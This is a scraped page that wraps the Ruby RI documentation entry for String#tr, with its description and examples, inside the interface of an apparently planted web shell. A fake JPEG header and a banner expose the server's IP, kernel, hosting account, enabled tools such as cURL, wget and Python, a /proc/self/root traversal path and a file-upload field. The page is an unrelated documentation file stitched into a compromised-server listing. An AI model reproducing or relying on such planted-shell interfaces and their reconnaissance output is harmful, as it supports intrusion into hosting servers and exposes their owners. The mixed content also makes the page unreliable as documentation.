????JFIF??x?x????'
| Server IP : 104.21.30.238 / Your IP : 216.73.216.87 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././proc/self/root/proc/self/root/opt/alt/ruby18/share/ri/1.8/system/String/ |
Upload File : |
--- !ruby/object:RI::MethodDescription
aliases: []
block_params:
comment:
- !ruby/struct:SM::Flow::P
body: Returns a copy of <em>str</em> with the characters in <em>from_str</em> replaced by the corresponding characters in <em>to_str</em>. If <em>to_str</em> is shorter than <em>from_str</em>, it is padded with its last character. Both strings may use the c1--c2 notation to denote ranges of characters, and <em>from_str</em> may start with a <tt>^</tt>, which denotes all characters except those listed.
- !ruby/struct:SM::Flow::VERB
body: " "hello".tr('aeiou', '*') #=> "h*ll*"\n "hello".tr('^aeiou', '*') #=> "<b>e</b>*o"\n "hello".tr('el', 'ip') #=> "hippo"\n "hello".tr('a-y', 'b-z') #=> "ifmmp"\n"
full_name: String#tr
is_singleton: false
name: tr
params: |
str.tr(from_str, to_str) => new_str
visibility: public